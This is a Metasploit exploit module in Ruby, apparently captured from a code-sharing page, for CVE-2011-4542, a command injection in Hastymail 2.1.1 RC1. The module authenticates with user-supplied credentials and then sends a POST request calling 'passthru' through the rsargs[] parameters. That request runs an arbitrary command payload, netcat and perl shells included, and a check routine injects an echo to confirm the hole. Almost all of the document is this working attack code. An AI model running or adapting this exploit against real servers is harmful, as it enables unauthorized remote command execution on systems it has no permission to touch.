Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => "Hastymail 2.1.1 RC1 Command Injection",
14
      'Description'    => %q{
15
          This module exploits a command injection vulnerability found in Hastymail
16
        2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
17
        the "lib/ajax_functions.php" script. Authentication is required on Hastymail
18
        in order to exploit the vulnerability. The module has been successfully tested
19
        on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
20
      },
21
      'License'        => MSF_LICENSE,
22
      'Author'         =>
23
        [
24
          'Bruno Teixeira', # Vulnerability Discovery
25
          'juan vazquez' # Metasploit module
26
        ],
27
      'References'     =>
28
        [
29
          [ 'CVE', '2011-4542' ],
30
          [ 'BID', '50791' ],
31
          [ 'OSVDB', '77331' ],
32
          [ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
33
        ],
34
      'Payload'        =>
35
        {
36
          'Compat'      =>
37
            {
38
              'PayloadType' => 'cmd',
39
              'RequiredCmd' => 'generic perl ruby python netcat netcat-e',
40
            }
41
        },
42
      'Platform'       => ['unix'],
43
      'Arch'           => ARCH_CMD,
44
      'Targets'        =>
45
        [
46
          ['Hastymail 2.1.1 RC1', {}]
47
        ],
48
      'Privileged'     => false,
49
      'DisclosureDate' => '2011-11-22',
50
      'DefaultTarget'  => 0))
51

52
    register_options(
53
      [
54
        OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
55
        OptString.new('USER', [true, "The username to authenticate with", ""]),
56
        OptString.new('PASS', [true, "The password to authenticate with", ""])
57
      ])
58
  end
59

60

61
  def check
62
    @uri = normalize_uri(target_uri.path)
63
    @uri << '/' if @uri[-1,1] != '/'
64
    @session_id = ""
65

66
    login
67

68
    if not @session_id or @session_id.empty?
69
      vprint_error "Authentication failed"
70
      return Exploit::CheckCode::Unknown
71
    end
72

73
    test = rand_text_alpha(rand(4) + 4)
74
    data = "rs=passthru&"
75
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
76
    data << "rsargs[]=echo #{test}"
77
    res = send_request_cgi({
78
      'method' => 'POST',
79
      'uri' => "#{@uri}",
80
      'Cookie' => @session_id,
81
      'data' => data
82
    })
83

84
    if res and res.code == 200 and res.body =~ /#{test}/
85
      return Exploit::CheckCode::Vulnerable
86
    else
87
      return Exploit::CheckCode::Safe
88
    end
89
  end
90

91
  def login
92
    res = send_request_cgi({
93
      'method' => 'POST',
94
      'uri'    => "#{@uri}?page=login",
95
      'vars_post' =>
96
      {
97
        'user' => datastore['USER'],
98
        'pass' => datastore['PASS'],
99
        'login' => 'Login'
100
      }
101
    })
102

103
    if res and res.code == 303
104
      @session_id = res.get_cookies
105
      print_good("Authentication Successful")
106
    end
107
  end
108

109
  def exploit
110
    @uri = normalize_uri(target_uri.path)
111
    @uri << '/' if @uri[-1,1] != '/'
112
    @session_id = ""
113

114
    print_status "Trying login"
115
    login
116

117
    if not @session_id or @session_id.empty?
118
      print_error "Authentication failed"
119
      return
120
    end
121

122
    print_good "Authentication successfully, trying to exploit"
123

124
    data = "rs=passthru&"
125
    data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
126
    data << "rsargs[]=#{payload.encoded}"
127

128
    res = send_request_cgi({
129
      'method' => 'POST',
130
      'uri' => "#{@uri}",
131
      'Cookie' => @session_id,
132
      'headers' => {
133
        'Cmd' => Rex::Text.encode_base64(payload.encoded)
134
      },
135
      'data' => data
136
    })
137

138
    if not res or res.code != 200 or not res.body =~ /\+/
139
      print_error "Exploitation failed"
140
      return
141
    end
142

143
  end
144

145

146
end
147

148